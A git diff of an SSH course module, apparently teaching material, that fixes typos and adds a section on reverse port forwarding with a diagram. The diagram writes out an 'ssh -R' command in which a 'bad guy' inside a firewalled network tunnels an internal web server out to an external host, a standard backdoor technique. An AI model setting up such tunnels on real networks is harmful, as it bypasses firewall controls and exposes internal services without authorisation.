diff --git a/modules/qualifying/assets/ssh_reverse_forwarding.dia b/modules/qualifying/assets/ssh_reverse_forwarding.dia new file mode 100644 index 0000000..2037a24 --- /dev/null +++ b/modules/qualifying/assets/ssh_reverse_forwarding.dia @@ -0,0 +1,1327 @@ + + + + + + + + + + + + + #A4# + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #our Raspberry Pi +router +192.168.0.1# + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + ## + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + ## + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + ## + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + ## + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + ## + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + ## + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #192.168.0.0/24# + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #the +internet# + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #good guy +internal HTTP server +192.168.0.44:8888# + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #bad guy +SSH client +192.168.0.66# + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #VPS with OVH +running SSH server ++ +nginx reverse proxy +@ +exploit.sproutsin.space# + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #ssh -R 9999:192.168.0.44:8888 badguy@exploit.sproutsin.space# + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #exposes the internal website +to the outside world by bypassing +the firewall# + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #thrid party client# + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #can access the internal website +via the bad guy's ssh tunnel +by connecting to +exploit.sproutsin.space# + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/modules/qualifying/assets/ssh_reverse_forwarding.png b/modules/qualifying/assets/ssh_reverse_forwarding.png new file mode 100644 index 0000000..935f669 Binary files /dev/null and b/modules/qualifying/assets/ssh_reverse_forwarding.png differ diff --git a/modules/qualifying/learning_ssh.md b/modules/qualifying/learning_ssh.md index 4f44bdc..faa36b9 100644 --- a/modules/qualifying/learning_ssh.md +++ b/modules/qualifying/learning_ssh.md @@ -256,7 +256,7 @@ Now that you know how to **create** your own RSA keys I would like you to: * create one (and save it somewhere safe) * use it to push/pull from your personal [gitea](https://gitea.86thumbs.net) -I'll let you figure it out by yourself but if you're stuck have a look at [this](https://gitea.86thumbs.net/user/settings/keys) and [this](https://pandammonium.org/how-to-change-a-git-repository-from-https-to-ssh/). +It's a **two part** process that I'll let you figure it out by yourself but if you're stuck have a look at [this](https://gitea.86thumbs.net/user/settings/keys) and [this](https://pandammonium.org/how-to-change-a-git-repository-from-https-to-ssh/). ## Standard usage @@ -292,7 +292,7 @@ As an example I would like to add a shortcut to my matrix server. ssh: Could not resolve hostname matrixserver: No address associated with hostname ``` -To create the shortcut I append the following to my `~/.ssh/config` file. +To create the shortcut I append the following to my `~/.ssh/config` file or create it if it doesn't exist. ``` Host matrixserver @@ -372,13 +372,13 @@ You can even add these mounts to your `/etc/fstab` file! ## SSHuttle SSHFS gives us a poor man's NFS and SSHuttle a poor man's VPN. -Again, this is very handy additional program to install on your ssh **client** which requires no modifications to the ssh **server** you're connection to. +Again, this is very handy additional program to install on your ssh **client** which requires no modifications to the ssh **server** you're connecting to. You install it with trusty old `apt`, `sudo apt install sshuttle`. Now, what does it do? It creates a connection to a **remote** ssh server and adds **local** iptable rules to send all (or some) traffic via that remote server onto the internet. In practice it behaves as a VPN. -To test this out I added an for you to one of my remote servers. +To test this out I added an account for you to one of my remote servers. Use the private key I'll give you in class to authenticate yourself as student@sproutsin.space. The syntax is as follows. @@ -400,7 +400,7 @@ This might look a bit intimidating but I'll break down the command line options * `-r student@sproutsin.space` is the remote host you want to send your traffic to * `-x sproutsin.space` is needed to exclude traffic to *that* specific host (the connection would fail otherwise) * `0.0.0.0/0` is the IP range you want to send through the VPN, in this case it's everything -* `--ssh-cmd -i student` is needed to specify our specific private key (not needed if you use `~/.ssh/id_rsa.pub`) +* `--ssh-cmd 'ssh -i student'` is needed to specify our specific private key (not needed if you use `~/.ssh/id_rsa.pub`) * `-D` will daemonize the VPN so you can continue to use the shell A more basic way of creating a VPN over ssh, if you use your main `~/.ssh/id_rsa` file is identity, would be as follows. @@ -460,7 +460,7 @@ I would advise to always set this option to no. ``` PermitRootLogin Specifies whether root can log in using ssh(1). The argument must be yes, prohibit-password, - forced-commands-only, or no. The default is prohibit-password. + forced-commands-only, or no. The default is prohibit-password. If this option is set to prohibit-password (or its deprecated alias, without-password), password and key‐ board-interactive authentication are disabled for root. @@ -489,7 +489,7 @@ PasswordAuthentication On systems with lot's of users and groups it might be wise to only permit certain groups and/or users. Messing with this setting is a common way of locking oneself out of a server so think before you restart sshd. -It's worth noting that upon a restart of your sshd service, your active connection is **not** interrupted so keep it upen en try a login in a different terminal. +It's worth noting that upon a restart of your sshd service, your active connection is **not** interrupted so keep it open and try a login from a different terminal. If you would happen to have locked yourself out you can still use the previous connection to rectify the problem. For VPS servers I often create a group `ssh_allowed` and add myself and other administrators to this group. Then I set the `AllowGroups ssh_allowed` to block all users not in that group from connecting to the server. @@ -581,9 +581,61 @@ PrintMotd is also printed by the shell, /etc/profile, or equivalent.) The default is yes. ``` -### Tunneling and X forward +### Forwarding -## Tunnels +Port forwarding is one of **the** most powerful features of ssh and is a blessing and a curse at the same time. +It gives us, legitimate administrators an excellent tool to work with but it can be used for very malicious purposes. +A lot of [backdoors](https://en.wikipedia.org/wiki/Backdoor_(computing)) are made with the help of ssh reverse forwarding which we'll see now. + +#### Reverse forwarding + +Reverse forwarding is an easy way to push a hole in a firewall. +Most networks are heavily limited for **incoming** connections but it's quite rare to have serious outgoing limitations. +As a reverse forwarding connection is **initiated** by the client **inside** the network, most firewall will let it go though. +The client will then forward a port on the **external** ssh server back to a host and port **inside** the network. +You have to remember that TCP connections are **bi-directional** so it's a way back into the network for outside. +Take the following diagram as an example. + +![reverse ssh](./assets/ssh_reverse_forwarding.png) + +1. bad client `192.168.0.66` connects to an outside ssh server +2. port `9999` on the external server will feed back into the firewalled network +3. the external server has an `nginx reverse proxy` running for domain `exploit.sproutsin.space` that forwards to `http://localhost:9999` +3. on the bad client all traffic coming over port `9999` will be sent to the good guy server `192.168.0.44:8888` +4. a third party can now access the internal website by going to `exploit.sproutsin.space` + +**Let's try this out!** + +The documentation of `man ssh` is a bit cryptic but I'm leaving it here for reference purposes. + +``` +-R [bind_address:]port:host:hostport +-R [bind_address:]port:local_socket +-R remote_socket:host:hostport +-R remote_socket:local_socket +-R [bind_address:]port + Specifies that connections to the given TCP port or Unix socket on the remote (server) host are to be + forwarded to the local side. + + This works by allocating a socket to listen to either a TCP port or to a Unix socket on the remote side. + Whenever a connection is made to this port or Unix socket, the connection is forwarded over the secure + channel, and a connection is made from the local machine to either an explicit destination specified by + host port hostport, or local_socket, or, if no explicit destination was specified, ssh will act as a + SOCKS 4/5 proxy and forward connections to the destinations requested by the remote SOCKS client. + + Port forwardings can also be specified in the configuration file. Privileged ports can be forwarded only + when logging in as root on the remote machine. IPv6 addresses can be specified by enclosing the address + in square brackets. + + By default, TCP listening sockets on the server will be bound to the loopback interface only. This may + be overridden by specifying a bind_address. An empty bind_address, or the address ‘*’, indicates that + the remote socket should listen on all interfaces. Specifying a remote bind_address will only succeed if + the server's GatewayPorts option is enabled (see sshd_config(5)). + + If the port argument is ‘0’, the listen port will be dynamically allocated on the server and reported to + the client at run time. When used together with -O forward the allocated port will be printed to the + standard output. +``` ## Autossh